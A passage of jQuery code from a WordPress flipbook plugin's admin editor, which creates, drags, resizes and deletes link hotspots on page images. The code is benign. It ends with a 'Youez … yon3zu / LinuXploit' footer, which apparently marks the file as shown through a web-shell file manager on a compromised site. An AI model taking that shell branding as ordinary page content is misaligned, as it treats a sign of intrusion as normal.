  function showPageModal(page) {

    function createSpots(index) {
      var spot = $('<input class="dflip-hotspot-input" name="_dflip[pages][' + activePage.attr('index') + '][hotspots][' + index + ']" />');
      spot.val("[30,30,30,30,]");
      return spot;
    }

    if (pageModal == void 0) {

      pageModal = $('<div class="dflip-page-modal media-modal">');

      var modalContent = $('<div class="media-modal-content edit-attachment-frame ">'),
        frameContent = $('<div class="media-frame-content">'),
        header = $('<div class="edit-media-header">'),
        next = $('<div class="page-modal-next right dashicons">'),
        prev = $('<div class="page-modal-prev left dashicons">'),
        close = $('<div class="page-modal-close media-modal-close"><span class="media-modal-icon"></span></div>'),

        subHeader = $('<div class="dflip-hotspot-header">'),
        addHotspot = $('<div class="dflip-add-hotspot button button-primary">Add Hot-Spot</div>'),
        del = $('<div class="dflip-remove-hotspot button button-secondary">Remove Hot-Spot</div>'),
        dest = $('<input class="dflip-hotspot-dest" placeholder="Enter page number or url with http:\\\\"></div>'),
        divImage = $('<div class="page-modal-image-wrapper">'),
        image = $('<img class="page-modal-image">'),
        content = $('<input class="page-modal-html" >');

      pageModal.divImage = divImage;
      pageModal.image = image;
      pageModal.content = content;
      pageModal.dest = dest;

      next.on("click", function () {
        var next = activePage.next();
        if (next.length > 0 && next.hasClass("dflip-page-item")) {
          showPageModal(next);
        }
      });
      prev.on("click", function () {
        var prev = activePage.prev();
        if (prev.length > 0 && prev.hasClass("dflip-page-item")) {
          showPageModal(prev);
        }
      });
      close.on("click", function () {
        pageModal.hide();
      });
      dest.on("change", function () {
        if (spotHelper._hotspot !== void 0) {
          spotHelper._hotspot.dest = $(this).val();
          spotHelper._hotspot.update();
        }
      });
      del.on("click", function () {
        var _del = confirm("Delete hotspot?");
        if (_del == true) {
          spotHelper._hotspot.dispose(true);
          spotHelper.detach();
        }
        dest.val("");
      });
      addHotspot.on("click", function () {
        var spots = activePage.find(".dflip-hotspot-input");

        var spotindex = activePage.attr('hotspots');
        if (spotindex == void 0) {
          spotindex = activePage.find(".dflip-hotspot-input").length;
        }
        var _hotspotInput = createSpots(spotindex);
        spotindex++;
        activePage.attr('hotspots', spotindex);
        activePage.find(".dflip-page-options").append(_hotspotInput);
        var _hotspot = new HotSpot([40, 40, 20, 20, ''], pageModal.divImage);
        _hotspot.activate(spotHelper);
        _hotspot.target = _hotspotInput;
      });
      divImage.append(image);
      subHeader.append(addHotspot).append(dest).append(del);
      frameContent.append(subHeader).append(divImage);
      header.append(prev).append(next);
      modalContent.append(header).append(frameContent);
      pageModal.append(close).append(modalContent).appendTo($("#dflip_pages_box"));

    }
    pageModal.show();
    pageModal.dest.val("");
    var src = page.find(".dflip-page-thumb").attr("src");
    pageModal.image.attr("src", src);

    //clear old hotspots
    if (activePage != void 0 && activePage.hotspots != void 0) {
      for (var h = 0; h < activePage.hotspots.length; h++) {
        activePage.hotspots[h].dispose();
      }
    }

    activePage = page;

    if (page.hotspots == void 0)
      page.hotspots = [];
    //fallback clearance
    if (spotHelper !== void 0)
      spotHelper._el.hide();
    pageModal.find(".dflip-hotspot").remove();

    var hotspots = [];
    page.find(".dflip-hotspot-input").each(function (index) {
      hotspots[index] = $(this).val().substr(1).slice(0, -1).split(",");
      var spot = new HotSpot(hotspots[index], pageModal.divImage);
      spot.target = $(this);
      page.hotspots[index] = spot;
    });

  }

  //[160, 105, 250, 30, 2]
  var HotSpot = function (option, parent) {
    var _this = this;
    _this.left = option[0],
      _this.top = option[1],
      _this.width = option[2],
      _this.height = option[3],
      _this.dest = option[4],
      _this.ref = parent.find("img.page-modal-image");

    _this._el = $('<div class="dflip-hotspot">');

    parent.append(_this._el);
    _this.update();
    _this._el
      .on("click", function () {
        _this.activate(spotHelper);
      });
  };

  HotSpot.prototype.activate = function (helper) {
    helper.attach(this);
    pageModal.dest.val(this.dest);
  };
  HotSpot.prototype.deactivate = function (helper) {

  };
  HotSpot.prototype.dispose = function (removeTarget) {
    this._el.off();
    this._el.remove();
    if (removeTarget == true && this.target !== void 0) {
      this.target.remove();
    }
  };
  HotSpot.prototype.updateSize = function (size) {
    this.width = Math.round(10000 * size.width / this.ref.width()) / 100;
    this.height = Math.round(10000 * size.height / this.ref.height()) / 100;
  };
  HotSpot.prototype.updatePosition = function (position) {
    this.left = Math.round(10000 * position.left / this.ref.width()) / 100;
    this.top = Math.round(10000 * position.top / this.ref.height()) / 100;
    this.update();
  };
  HotSpot.prototype.update = function () {
    this._el.css({
      left: this.left + "%",
      top: this.top + "%",
      width: this.width + "%",
      height: this.height + "%"
    });
    if (this.target !== void 0) {
      this.target.val('[' + this.left + ',' + this.top + ',' + this.width + ',' + this.height + ',' + this.dest + ']');
    }
  };


  var SpotHelper = function () {
    var _this = this;
    _this.initialized = false;
    _this._hotspot = void 0;
    if ($.fn.draggable) {
      _this._el = $('<div class="dflip-hotspot-helper">')
        .draggable({
          containment: "parent",
          drag: function (event, ui) {
            _this._hotspot.updatePosition(ui.position);
          }
        });
    }
    else {
      _this._el = void 0;
      //console.log("Could not load jQuery draggable")
    }

  };
  SpotHelper.prototype.attach = function (hotspot) {
    var _this = this;
    if (_this._hotspot !== void 0)
      _this._hotspot.deactivate();


    _this._hotspot = hotspot;
    _this.container = hotspot._el.parent();
    _this.container.append(_this._el);

    if (_this.initialized != true) {
      _this._el.resizable({
        handles: 'ne, se, sw, nw',
        resize: function (event, ui) {
          _this._hotspot.updateSize(ui.size);
          _this._hotspot.updatePosition(ui.position);
        }
      });
      _this.initialized = true;
    }

    _this._el.css({
      left: hotspot._el[0].style.left,
      top: hotspot._el[0].style.top,
      width: hotspot._el[0].style.width,
      height: hotspot._el[0].style.height,
      display: "block"
    });
    //_this._hotspot.activate(this);
  };
  SpotHelper.prototype.detach = function (hotspot) {
    if (this._hotspot !== void 0)
      this._hotspot.deactivate();
    this._el.hide();
  };
  var spotHelper = new SpotHelper();

  /*({
   backgroundImage:"url(" + src+")"
   });*/
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit